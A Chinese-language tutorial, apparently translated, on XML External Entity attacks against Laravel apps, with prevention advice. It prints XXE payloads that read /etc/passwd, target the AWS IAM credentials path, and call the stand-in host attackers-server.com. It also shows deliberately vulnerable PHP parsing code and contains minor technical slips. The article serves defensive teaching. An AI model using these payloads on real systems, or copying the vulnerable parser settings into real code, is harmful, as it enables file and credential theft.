所有文章 > 技术杂货铺 > Laravel XML外部实体(XXE)指南:示例和预防
Laravel XML外部实体(XXE)指南:示例和预防

Laravel XML外部实体(XXE)指南:示例和预防

您可能听说过一些甚至在知名网站上也发生数据泄露和网络攻击的故事。黑客使用不同的方法来攻击易受攻击的网站。XML 外部实体 (XXE) 注入就是其中一种方法。

在 XXE 注入中,恶意用户利用网站处理 XML 数据的能力。因此,攻击者可以访问服务器上的文件。XXE 是 OWASP 十大Web 应用程序安全风险之一。

您可以在 Laravel 应用程序中解析 XML 数据。例如,您可以设置一个路由,接受内容类型为text/xml的请求。攻击者可能会利用应用程序中处理 XML 数据的任何部分来注入恶意代码。因此,保护​​您的应用程序免受 Laravel XML 外部实体的攻击至关重要。

在本文中,我们将通过一些示例和预防方法来了解 Laravel XML 外部实体。

在继续之前,我们先来看看XXE是什么。

什么是 XML 外部实体 (XXE)?

XXE 是一种针对解析 XML 数据的应用程序的漏洞。它允许攻击者注入指向外部实体的 XML。因此,攻击者可以访问服务器文件系统和敏感数据。

攻击者可能利用 XXE 的一些方式包括从服务器检索敏感文件并执行服务器端请求伪造 (SSRF) 攻击。SSRF 是一种允许未经授权访问服务器功能的漏洞。

Laravel XXE 示例及预防方法

现在我们知道了什么是 XXE,让我们看一些 Laravel XXE 攻击的示例以及预防每种攻击的方法。

在 Laravel 中,你可以使用SimpleXML等工具解析 XML 数据。但是,如果操作不当,可能会导致 Laravel 应用程序中出现 XXE 注入。

1. 文件检索(外部实体)

在此示例中,我们将介绍一个使用 XML 数据处理请求的 Laravel Web 路由。攻击者可以通过向路由注入以下 XML 来访问服务器的内部文件系统:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<info>
<name>&xxe;</name>
<email>sam@example.com</email>
</info>

以下是解析 XML 数据的实际控制器方法的代码:

libxml_disable_entity_loader (false);

$xmlInput = file_get_contents('php://input');
$dom = new \DOMDocument();
$dom->loadXML($xmlInput, LIBXML_NOENT | LIBXML_DTDLOAD);
$info = simplexml_import_dom($dom);

$name = $info->name;

echo "Thank you for registering " . $name;

从上面的代码中,我们可以看到它解析 XML 数据并打印$name的值。因此,如果我们的服务器存在 XXE 注入漏洞,file:///etc/passd的内容也会出现在输出中。下面是输出的示例:

Thank you for registering root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin

如上所示,/etc/passd的实际内容在请求响应中可见。通常,您需要以管理员或 root 用户身份登录服务器才能访问/etc/passd。但是,使用 XXE,任何人都可以通过注入恶意 XML 代码来访问该文件。

现在,让我们看看有哪些方法可以防止对易受攻击的服务器进行此类攻击。

预防

我们已经知道 XXE 攻击会利用应用程序的 XML 解析器。解析器包含黑客可能利用的功能,并对您的应用程序及其用户构成危险。但是,关闭这些功能可以防止 XXE。不同的 XML 解析器禁用这些功能的步骤不同。您应该查看所用解析器的官方文档,了解更具体的指导原则。

潜在危险的 XML 特性包括文档类型定义 (DTD) 和外部实体。例如,如果您在 Laravel 中使用 SimpleXML,则可以在解析任何 XML 之前调用以下方法来禁用外部实体:

libxml_disable_entity_loader(true);

防止 XXE 的另一种方法是在通过 XML 解析器运行用户生成的 XML 数据之前对其进行验证。

2. 服务器端请求伪造(SSRF)

另一个严重的XXE漏洞是SSRF,攻击者可以利用SSRF对服务器进行操作,从而控制后端。

以下是执行 SSRF 的 XXE 攻击示例。此攻击试图通过利用 AWS 元数据端点窃取 IAM 密钥。

Tip: By default, the path of AWS metadata is /latest/meta-data/iam/security-credentials/.

假设目标服务器的 IP 地址为http://189.23.100.2。攻击者可以发送以下 XML 数据来启动漏洞利用:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://189.23.100.2/latest/meta-data/iam/security-credentials/"> ]>

在易受攻击的服务器上不进行任何验证就解析上述代码将会暴露您的 IAM 机密。

预防

您可以通过禁用应用程序未使用的易受攻击的功能来防止此类攻击。这包括关闭 DTD、外部实体和外部 doctype 声明。

此外,设置允许列表策略来阻止恶意 XML 数据可以降低风险。

3. 盲XXE

与前两个示例不同,盲 XXE 攻击不会在响应中返回值。也就是说,来自内部文件(如/etc/passd)或其他包含敏感数据的资源的值不会发送回攻击者。但是,攻击者可以通过触发越界交互来检测到您的网站容易受到 XXE 攻击。

在本例中,我们将介绍一款根据 ID 显示商品详情的应用程序。该应用程序从 XML 负载中读取 ID 值。

我们可以通过注入以下 XML 数据来尝试执行 XXE 攻击:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://attackers-server.com"> ]>
<item>
<itemId>&xxe</itemId>
</item>

发送上述 XML 数据将导致应用程序返回“无效项目”消息。尽管该消息不包含任何敏感数据,但它显示&xxe的值超出范围。因此,响应确认对外部实体的请求已成功。

另一种盲 XXE 涉及通过错误消息检索数据。当攻击者注入可能导致解析器错误并在错误消息中暴露敏感数据的 XML 有效负载时,就可以做到这一点。

预防

此类攻击利用了应用程序对用户输入的响应。因此,我们可以通过不在错误消息中包含敏感数据来降低风险。另一个好的做法是在生产环境中关闭默认错误消息的显示。

您可以通过将.envAPP_DEBUG的值更新为以下内容来关闭 Laravel 生产中的错误显示:

APP_DEBUG=false

.env文件位于 Laravel 项目的根目录下。

您还可以通过在解析或显示内容之前验证用户生成的 XML 数据来防止此类 XXE 攻击。

最后,确保始终保持应用程序的 XML 解析器是最新的,因为维护人员可能会发布新的安全补丁。

结论

尽管 XXE 不像其他类型的 Web 漏洞那样常见,但测试 Laravel 应用程序是否存在 XXE 仍然很重要。如果您的应用程序解析大量用户生成的 XML 数据,这一点就更为重要。

在这篇文章中,我们介绍了什么是 XXE,并介绍了三个 Laravel XXE 的示例以及如何预防它们。

您在这篇文章中学到的所有内容都是保护您的 Laravel 应用程序免受 XXE 攻击的良好起点。保护您的应用程序免受 XXE 攻击的最有效方法是完全禁用外部实体的 DTD。此外,请确保您采取其他措施,例如遵循 Laravel 安全最佳实践。您还应该使用安全测试工具扫描您的应用程序是否存在 XXE 漏洞。

文章来源:Laravel XML External Entities (XXE) Guide: Examples and Prevention

#你可能也喜欢这些API文章!